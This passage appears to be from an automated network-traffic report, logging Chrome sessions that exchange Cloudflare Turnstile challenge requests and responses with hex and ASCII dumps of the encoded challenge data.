KSaZCQd46DkpNef16Bk2Z5gJ9pgK+gk32Ln3GCg7W0t5OImYqfeo/AsMG2mIeDoKKmzsObrszOjrWnp9PLzcrGtb68vNSps9PMw5/X4cDmouXh7+Om3q/q5+/35PCv08Xo173L6OHb2NbC2MLZ4vXeB8f52uji3Q7TAOABGNP1EAgaGRDgHt0X3tcC4hj93Oge6eUo5vz8FS4GDwsuLzD5GPMINj4iLCwuAjoZKBxJBxgFHUg+EC89KCExKygmU
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 75 58 48 5a 78 58 70 47 45 65 47 47 45 65 58 56 6c 59 61 79 52 73 6d 36 47 6f 6d 36 4f 72 49 74 79 72 49 61 30 66 70 74 79 73 33 6d 69 72 49 4f 44 76 70 79 64 78 34 4b 6f 6a 4c 61 75 75 38 76 42 6a 74 57 70 77 4b 4b 77 6f 36 32 6f 70 73 6e 64 6b 63 71 63 32 38 48 43 6f 37 6e 6a 79 4b 57 6f 33 64 54 56 33 39 75 38 7a 63 2b 73 79 73 33 46 7a 4f 62 4c 74 63 72 38 38 4c 7a 4a 39 4f 33 42 31 64 2b 37 2b 39 44 32 30 64 72 63 35 62 38 41 31 77 48 4d 44 4f 7a 76 42 76 62 51 37 68 62 74 45 65 77 4f 2b 39 6e 64 38 41 77 63 44 68 76 69 48 66 6a 6e 33 4f 6e 31 48 52 77 4d 49 42 48 79 4c 67 49 70 43 41 59 50 4b 78 4d 47 4a 68 45 48 41 44 55 69 49 51 30 39 48 68 6e 35 4a 51 63 4c 42 52 31 44 4b 79 68 4e 49 6c 51 6b 4e 69 4d 78 4c 42 55 70 53 6a 78 4f 4c 54 6f 35 50 44 Data Ascii: uXHZxXpGEeGGEeXVlYayRsm6Gom6OrItyrIa0fptys3mirIODvpydx4KojLauu8vBjtWpwKKwo62opsndkcqc28HCo7njyKWo3dTV39u8zc+sys3FzObLtcr88LzJ9O3B1d+7+9D20drc5b8A1wHMDOzvBvbQ7hbtEewO+9nd8AwcDhviHfjn3On1HRwMIBHyLgIpCAYPKxMGJhEHADUiIQ09Hhn5JQcLBR1DKyhNIlQkNiMxLBUpSjxOLTo5PD
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 67 5a 71 57 71 36 71 64 68 6e 36 44 66 4a 78 77 66 34 53 54 74 35 65 6b 6d 33 6d 75 65 58 61 41 66 37 71 6a 6e 34 32 5a 70 72 65 6c 77 4d 6e 4a 7a 71 57 33 77 37 4c 42 73 61 66 46 6f 63 66 43 73 4c 65 76 73 5a 61 34 76 70 4b 33 6d 62 61 31 30 37 2b 34 6f 65 66 4a 70 61 6d 66 70 4b 37 74 38 64 76 4a 35 65 76 77 79 73 57 7a 38 2b 6a 46 39 38 66 31 32 39 37 75 2b 64 76 33 2f 64 33 65 77 38 55 4b 43 65 33 61 42 74 37 64 36 39 7a 67 35 74 38 55 42 67 6e 74 2b 75 54 72 38 78 73 50 33 4f 2f 36 34 68 62 67 33 74 2f 66 43 43 50 65 48 76 73 4e 37 41 77 42 45 78 37 39 4c 50 41 77 38 66 4d 37 43 53 67 77 4c 6a 4a 42 48 6a 59 79 46 6a 63 63 4e 52 55 65 4f 68 34 62 53 30 77 6a 43 42 4d 70 53 55 34 58 52 79 4d 72 45 7a 6f 50 4b 68 34 38 56 7a 4e 67 59 6a 56 48 51 6b 41 Data Ascii: gZqWq6qdhn6DfJxwf4STt5ekm3mueXaAf7qjn42ZprelwMnJzqW3w7LBsafFocfCsLevsZa4vpK3mba107+4oefJpamfpK7t8dvJ5evwysWz8+jF98f1297u+dv3/d3ew8UKCe3aBt7d69zg5t8UBgnt+uTr8xsP3O/64hbg3t/fCCPeHvsN7AwBEx79LPAw8fM7CSgwLjJBHjYyFjccNRUeOh4bS0wjCBMpSU4XRyMrEzoPKh48VzNgYjVHQkA
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 36 46 2f 66 37 53 63 62 49 65 53 73 58 69 59 65 4a 43 56 6d 37 4e 35 72 33 79 38 6b 72 57 65 68 4a 36 6f 73 71 65 70 6f 59 33 47 72 35 6e 41 78 4d 2b 64 69 4a 2b 75 6a 39 4b 53 73 37 4f 34 75 63 33 52 6d 70 33 6b 34 64 62 42 74 74 50 47 6f 62 66 67 32 73 72 66 71 71 32 78 77 4d 2b 32 39 65 76 35 78 4e 6a 64 2b 39 4b 32 79 73 2f 50 33 2f 6e 52 31 62 37 47 2f 66 73 4e 41 63 59 4c 77 51 6e 38 42 67 34 43 39 74 58 67 39 4f 33 31 38 50 7a 57 44 4f 63 61 2b 41 48 63 35 50 4d 61 38 78 67 46 47 78 51 44 2b 44 41 51 2b 51 76 76 2f 53 34 55 4d 7a 67 75 47 53 63 62 48 67 34 57 2b 76 34 67 4c 79 34 62 4f 43 67 6e 51 69 67 62 47 53 30 72 4c 41 49 50 4d 42 35 53 4b 31 41 6d 4d 43 77 6d 4e 54 45 37 56 53 38 7a 4c 6a 6c 41 4d 54 51 69 57 44 4a 43 53 53 56 70 4b 6b 46 51 Data Ascii: 6F/f7ScbIeSsXiYeJCVm7N5r3y8krWehJ6osqepoY3Gr5nAxM+diJ+uj9KSs7O4uc3Rmp3k4dbBttPGobfg2srfqq2xwM+29ev5xNjd+9K2ys/P3/nR1b7G/fsNAcYLwQn8Bg4C9tXg9O318PzWDOca+AHc5PMa8xgFGxQD+DAQ+Qvv/S4UMzguGScbHg4W+v4gLy4bOCgnQigbGS0rLAIPMB5SK1AmMCwmNTE7VS8zLjlAMTQiWDJCSSVpKkFQ
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 71 30 64 4a 4b 69 71 6f 6d 6f 65 34 71 37 75 58 79 79 66 4a 36 59 6c 37 71 55 79 4a 37 42 78 34 37 4c 70 49 4f 70 73 6f 36 54 31 4e 69 30 6c 62 53 38 32 62 65 64 7a 62 61 72 31 62 37 50 73 37 57 68 70 35 2b 34 35 65 75 39 37 73 72 65 38 73 65 79 39 63 62 47 76 2f 4b 79 77 38 69 75 38 64 72 49 31 4e 50 78 75 76 48 56 42 2f 6e 6e 38 51 44 33 44 65 66 6d 41 51 37 50 78 42 58 7a 34 65 76 71 45 68 66 31 46 2b 77 4e 32 66 37 75 48 76 55 41 37 2f 6e 37 34 42 4d 41 47 69 72 37 33 79 48 68 42 41 72 73 44 79 4d 4a 45 65 6b 73 47 79 76 34 45 43 34 4c 39 7a 67 36 51 42 38 55 51 52 77 47 48 6a 39 48 42 68 67 46 46 78 67 72 4a 46 41 7a 4b 44 51 56 46 7a 63 75 4e 69 52 46 55 44 56 50 4c 56 63 31 48 69 55 35 55 56 68 61 58 32 4e 74 57 53 42 4b 54 7a 73 2b 4c 53 73 6e 54 Data Ascii: q0dJKiqomoe4q7uXyyfJ6Yl7qUyJ7Bx47LpIOpso6T1Ni0lbS82bedzbar1b7Ps7Whp5+45eu97sre8sey9cbGv/Kyw8iu8drI1NPxuvHVB/nn8QD3DefmAQ7PxBXz4evqEhf1F+wN2f7uHvUA7/n74BMAGir73yHhBArsDyMJEeksGyv4EC4L9zg6QB8UQRwGHj9HBhgFFxgrJFAzKDQVFzcuNiRFUDVPLVc1HiU5UVhaX2NtWSBKTzs+LSsnT
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 51 71 33 32 63 66 48 79 4c 73 70 6d 30 77 61 57 47 78 37 58 4d 7a 59 79 50 68 73 58 54 7a 62 4f 6f 6e 35 62 4c 71 38 75 33 79 71 72 61 33 4c 4f 30 75 64 54 4f 6f 39 44 61 34 37 4b 63 34 4e 2f 69 33 2b 79 72 34 4f 75 2f 7a 4f 50 57 73 50 6a 49 2b 2b 32 38 31 4e 71 32 31 62 66 59 38 50 6e 68 77 2f 44 54 42 77 62 5a 76 67 76 34 35 65 38 41 37 4e 4c 6c 2f 74 41 4c 30 77 72 55 43 39 59 4b 2b 52 62 70 2f 50 55 6c 47 79 48 75 2b 2f 67 67 41 65 51 63 47 76 30 4e 41 50 41 45 37 52 34 51 43 52 66 76 4c 43 77 58 38 67 6f 75 4b 7a 49 55 2f 6b 49 37 52 54 45 31 4a 67 45 70 4b 43 59 49 4a 55 30 2f 44 42 77 77 4b 44 55 58 4b 6c 55 36 53 55 67 62 50 56 51 30 55 42 52 56 46 6a 5a 5a 57 47 4d 62 4a 54 59 71 62 43 6b 35 4b 47 68 43 57 79 39 6c 64 54 5a 57 62 57 39 32 5a 55 Data Ascii: Qq32cfHyLspm0waWGx7XMzYyPhsXTzbOon5bLq8u3yqra3LO0udTOo9Da47Kc4N/i3+yr4Ou/zOPWsPjI++281Nq21bfY8Pnhw/DTBwbZvgv45e8A7NLl/tAL0wrUC9YK+Rbp/PUlGyHu+/ggAeQcGv0NAPAE7R4QCRfvLCwX8gouKzIU/kI7RTE1JgEpKCYIJU0/DBwwKDUXKlU6SUgbPVQ0UBRVFjZZWGMbJTYqbCk5KGhCWy9ldTZWbW92ZU
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 6b 38 61 52 76 5a 57 37 71 35 6d 59 6d 72 61 2f 75 61 50 51 6b 38 6e 56 6f 4a 62 45 7a 64 6e 4d 6c 4a 79 56 76 64 36 74 7a 61 75 39 70 64 69 36 33 4e 72 42 34 72 57 34 76 63 33 48 37 4f 62 74 7a 4c 4c 30 36 4c 57 35 75 75 76 6d 32 74 58 7a 7a 64 58 2b 7a 74 73 48 34 66 48 32 35 2f 4c 33 35 63 6e 38 79 75 66 5a 32 39 2f 6f 34 4f 41 4f 43 75 66 71 43 74 73 4c 45 42 2f 58 2b 51 51 59 44 67 59 46 32 53 51 61 33 41 7a 39 33 79 33 37 43 66 76 79 48 67 59 43 4a 43 45 6a 41 79 67 79 45 77 67 58 44 42 73 72 45 52 45 6c 52 78 41 37 45 51 6c 45 52 55 59 73 42 30 52 43 49 45 55 6c 53 56 46 50 45 79 38 7a 47 43 35 4a 54 6c 77 33 51 43 45 61 4f 6c 42 6a 4a 30 49 6a 61 31 59 2b 58 6d 6b 74 57 43 70 77 58 6b 64 51 63 32 41 31 55 6a 42 36 63 46 31 2b 64 6d 78 36 65 54 39 Data Ascii: k8aRvZW7q5mYmra/uaPQk8nVoJbEzdnMlJyVvd6tzau9pdi63NrB4rW4vc3H7ObtzLL06LW5uuvm2tXzzdX+ztsH4fH25/L35cn8yufZ29/o4OAOCufqCtsLEB/X+QQYDgYF2SQa3Az93y37CfvyHgYCJCEjAygyEwgXDBsrERElRxA7EQlERUYsB0RCIEUlSVFPEy8zGC5JTlw3QCEaOlBjJ0Ija1Y+XmktWCpwXkdQc2A1UjB6cF1+dmx6eT9
2024-12-09 17:41:46 UTC	1369	IN	Data Raw: 72 69 2f 72 4a 36 72 6e 4b 4f 76 77 4d 32 67 76 74 66 50 7a 4e 6e 57 6a 73 76 64 73 38 71 62 7a 64 53 73 30 2b 58 43 6f 4b 6a 47 79 64 2f 6f 77 71 48 52 37 4f 76 62 33 66 4b 7a 77 75 2f 53 78 73 76 52 78 76 7a 62 76 50 62 53 39 62 7a 42 30 4e 51 46 43 39 66 39 42 74 72 6c 33 51 62 2b 33 41 63 54 34 41 77 49 45 67 30 4d 46 39 4c 32 32 2b 66 58 2f 51 44 35 41 68 45 59 34 78 49 41 2b 65 49 4f 47 69 45 4a 45 41 4d 42 37 76 54 7a 4c 75 34 55 41 68 41 45 38 2f 30 58 4f 77 34 53 48 2f 30 6a 46 6b 59 2f 4f 45 49 6b 52 45 6b 59 4b 79 38 72 43 51 55 2b 44 30 30 73 49 68 56 58 56 54 77 77 56 78 74 56 4d 54 70 66 59 53 56 59 57 31 49 6d 51 43 4a 4c 57 54 6b 38 57 46 45 2b 5a 53 38 78 55 45 4e 72 4d 44 6c 35 5a 6e 63 38 61 32 39 5a 54 6a 35 79 56 54 2b 49 58 6e 71 42 Data Ascii: ri/rJ6rnKOvwM2gvtfPzNnWjsvds8qbzdSs0+XCoKjGyd/owqHR7Ovb3fKzwu/SxsvRxvzbvPbS9bzB0NQFC9f9Btrl3Qb+3AcT4AwIEg0MF9L22+fX/QD5AhEY4xIA+eIOGiEJEAMB7vTzLu4UAhAE8/0XOw4SH/0jFkY/OEIkREkYKy8rCQU+D00sIhVXVTwwVxtVMTpfYSVYW1ImQCJLWTk8WFE+ZS8xUENrMDl5Znc8a29ZTj5yVT+IXnqB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49746	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:48 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:48 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:41:48 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 9mmX5XJ7LuQCtnE4WJ5HiXqAJtRgMZ4dJGE=$jU5EVDKgsKj8+8fI Server: cloudflare CF-RAY: 8ef6c9c18b750f39-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:48 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49747	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:48 UTC	783	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef6c997a86442ad/1733766106030/5ym9Qb7hUPt95Jw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:48 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:48 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef6c9c2bdef42d7-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:48 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2f 00 00 00 22 08 02 00 00 00 40 db 17 25 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR/"@%IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49748	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:49 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef6c997a86442ad/1733766106030/5ym9Qb7hUPt95Jw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:50 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:50 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef6c9cd3c7d43e6-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2f 00 00 00 22 08 02 00 00 00 40 db 17 25 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR/"@%IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49749	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:50 UTC	812	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ef6c997a86442ad/1733766106033/cd511318b73ec19c11cc90f41c187ab72a36e207c9465082a957b4b829a9bcb8/6vTyGsiZscPh32f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:50 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 09 Dec 2024 17:41:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-09 17:41:50 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 7a 56 45 54 47 4c 63 2d 77 5a 77 52 7a 4a 44 30 48 42 68 36 74 79 6f 32 34 67 66 4a 52 6c 43 43 71 56 65 30 75 43 6d 70 76 4c 67 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gzVETGLc-wZwRzJD0HBh6tyo24gfJRlCCqVe0uCmpvLgAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-09 17:41:50 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49750	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:52 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31786 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: _cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:52 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 36 63 39 39 37 61 38 36 34 34 32 61 64 3d 67 47 62 6a 35 49 31 6b 37 49 37 4d 47 44 6b 71 6f 39 44 56 6a 51 4a 32 66 31 55 4d 53 41 31 4b 44 57 6a 55 75 39 31 69 77 44 4d 66 31 6b 75 31 70 44 73 66 53 47 66 44 4e 55 44 57 75 62 61 6f 44 64 44 49 48 66 66 44 77 4a 49 30 6b 57 39 44 57 46 44 66 66 57 39 44 6c 4a 31 4f 4a 59 67 62 49 6d 44 73 4a 44 4e 4e 44 4f 48 66 4a 6a 6a 44 7a 4c 45 44 2d 69 66 44 59 44 55 48 66 44 69 31 71 49 78 44 78 59 68 30 37 37 63 79 44 57 4e 62 44 44 6d 47 6a 31 6d 53 63 66 44 53 45 78 70 62 2d 61 39 78 38 7a 70 44 49 4e 51 75 50 61 48 43 4f 78 70 53 31 46 75 75 34 44 7a 78 41 68 31 6a 50 38 2d 49 44 49 46 53 4f 78 65 44 32 62 44 42 54 73 4a 47 34 30 6b 31 6f 6f 58 4b 4f 73 73 47 68 66 67 77 2d 25 32 62 79 33 6c 78 Data Ascii: v_8ef6c997a86442ad=gGbj5I1k7I7MGDkqo9DVjQJ2f1UMSA1KDWjUu91iwDMf1ku1pDsfSGfDNUDWubaoDdDIHffDwJI0kW9DWFDffW9DlJ1OJYgbImDsJDNNDOHfJjjDzLED-ifDYDUHfDi1qIxDxYh077cyDWNbDDmGj1mScfDSExpb-a9x8zpDINQuPaHCOxpS1Fuu4DzxAh1jP8-IDIFSOxeD2bDBTsJG40k1ooXKOssGhfgw-%2by3lx
2024-12-09 17:41:52 UTC	15402	OUT	Data Raw: 44 47 6a 76 6b 67 24 33 6f 77 39 31 69 43 58 43 41 44 44 65 53 6a 49 62 31 41 44 62 6a 64 6a 44 46 44 68 33 57 62 49 55 44 31 6a 63 6f 31 4a 44 33 44 32 66 44 46 44 52 6b 78 71 66 4d 44 63 6a 46 4a 49 6b 44 32 44 44 62 57 68 44 71 6a 46 71 35 7a 44 7a 6a 46 37 44 39 44 70 6a 61 37 49 46 44 77 6a 31 71 57 70 44 52 6a 32 6a 46 4f 78 4b 44 31 6f 49 78 66 78 44 49 44 31 71 44 4a 6e 64 24 31 72 44 71 44 78 39 31 71 44 63 70 63 66 61 75 31 59 44 6f 4a 53 6f 31 6e 49 55 4a 53 5a 4a 52 66 32 5a 44 44 44 70 54 49 49 37 31 72 32 38 78 57 52 62 44 44 61 69 56 62 66 6a 71 4c 79 77 2d 63 66 63 78 44 32 44 71 6a 73 2b 44 48 44 6e 37 57 4d 49 7a 6a 38 6e 63 78 57 24 4a 4d 6a 77 42 39 78 31 45 44 53 62 53 78 44 68 6a 42 62 61 56 66 30 6a 77 62 61 4d 37 4d 6a 6c 62 55 6f Data Ascii: DGjvkg$3ow91iCXCADDeSjIb1ADbjdjDFDh3WbIUD1jco1JD3D2fDFDRkxqfMDcjFJIkD2DDbWhDqjFq5zDzjF7D9Dpja7IFDwj1qWpDRj2jFOxKD1oIxfxDID1qDJnd$1rDqDx91qDcpcfau1YDoJSo1nIUJSZJRf2ZDDDpTII71r28xWRbDDaiVbfjqLyw-cfcxD2Dqjs+DHDn7WMIzj8ncxW$JMjwB9x1EDSbSxDhjBbaVf0jwbaM7MjlbUo
2024-12-09 17:41:52 UTC	330	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:52 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26280 Connection: close cf-chl-gen: isj3NjVyMkXo8cTgZE3IRXfQS7gOAFI9X+qF0F3nRODWGOq6fZr26E676TboEEGKS4p7276XTRVuO3uI$28HdrbZgJV0jqYiZ Server: cloudflare CF-RAY: 8ef6c9db5fe17ce2-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:52 UTC	1039	IN	Data Raw: 6d 34 61 71 71 5a 4f 34 79 72 6d 4c 70 63 72 44 6b 4e 53 79 74 64 4b 78 78 39 6d 77 74 39 50 64 74 4c 79 71 72 72 66 41 73 72 62 43 73 4e 50 47 76 36 76 4d 75 65 54 6f 79 2b 6e 72 78 72 58 6c 77 63 4c 75 79 2f 50 4f 74 76 58 79 76 62 50 33 2f 50 76 30 37 2f 48 79 79 41 58 6b 31 39 72 59 36 2f 44 6b 30 67 72 7a 7a 2f 37 6a 7a 67 54 7a 32 68 66 5a 39 65 76 36 48 2f 6b 64 39 74 63 62 48 67 59 65 49 78 34 5a 47 79 72 73 43 66 30 44 2f 51 6b 4c 41 68 50 71 4a 67 67 5a 39 54 45 6e 4c 44 58 35 51 69 77 6b 47 79 67 6d 51 43 59 6e 48 54 67 67 41 51 64 4a 44 7a 51 4f 4a 53 68 4b 46 6c 55 55 52 78 78 62 4e 44 68 56 4c 68 38 32 46 68 74 5a 51 55 4e 52 58 6b 41 71 62 44 70 44 4f 6b 6b 74 53 6a 39 4c 54 6b 64 42 4c 7a 45 78 4d 6c 64 76 66 6b 41 36 51 6e 35 36 68 55 4a Data Ascii: m4aqqZO4yrmLpcrDkNSytdKxx9mwt9PdtLyqrrfAsrbCsNPGv6vMueToy+nrxrXlwcLuy/POtvXyvbP3/Pv07/HyyAXk19rY6/Dk0grzz/7jzgTz2hfZ9ev6H/kd9tcbHgYeIx4ZGyrsCf0D/QkLAhPqJggZ9TEnLDX5QiwkGygmQCYnHTggAQdJDzQOJShKFlUURxxbNDhVLh82FhtZQUNRXkAqbDpDOkktSj9LTkdBLzExMldvfkA6Qn56hUJ
2024-12-09 17:41:52 UTC	1369	IN	Data Raw: 39 71 5a 47 78 30 73 50 50 79 39 75 2f 6c 39 6a 43 75 61 44 54 6e 39 43 67 75 64 72 4c 75 4e 66 4b 35 73 76 78 30 75 6e 55 7a 66 54 46 39 50 6a 77 73 37 4c 56 78 75 6d 38 41 4c 33 61 31 4c 2f 37 75 41 62 77 33 4f 58 46 2b 4f 58 58 31 39 7a 63 45 77 4d 4d 42 75 76 53 38 4e 58 35 2b 39 6a 74 38 77 37 30 46 69 50 68 49 50 6e 6b 34 69 67 65 43 77 33 31 48 66 73 6e 34 68 73 50 43 67 6e 39 41 52 45 6d 4d 79 73 35 37 76 6b 67 4f 44 34 2b 4e 52 41 44 4e 51 59 5a 41 79 74 46 4e 51 6b 6f 4c 41 67 76 44 53 30 6c 48 55 30 55 55 53 30 70 52 69 5a 56 4d 78 6c 5a 4f 31 51 77 4c 52 63 32 50 69 4a 59 4a 32 77 33 58 46 70 6b 57 54 78 52 61 55 56 67 4c 58 4a 69 65 55 63 33 53 48 64 4e 61 33 39 63 51 56 68 44 64 57 5a 55 57 6b 6d 45 55 32 46 34 61 6f 68 75 63 58 42 67 62 58 Data Ascii: 9qZGx0sPPy9u/l9jCuaDTn9CgudrLuNfK5svx0unUzfTF9Pjws7LVxum8AL3a1L/7uAbw3OXF+OXX19zcEwMMBuvS8NX5+9jt8w70FiPhIPnk4igeCw31Hfsn4hsPCgn9AREmMys57vkgOD4+NRADNQYZAytFNQkoLAgvDS0lHU0UUS0pRiZVMxlZO1QwLRc2PiJYJ2w3XFpkWTxRaUVgLXJieUc3SHdNa39cQVhDdWZUWkmEU2F4aohucXBgbX
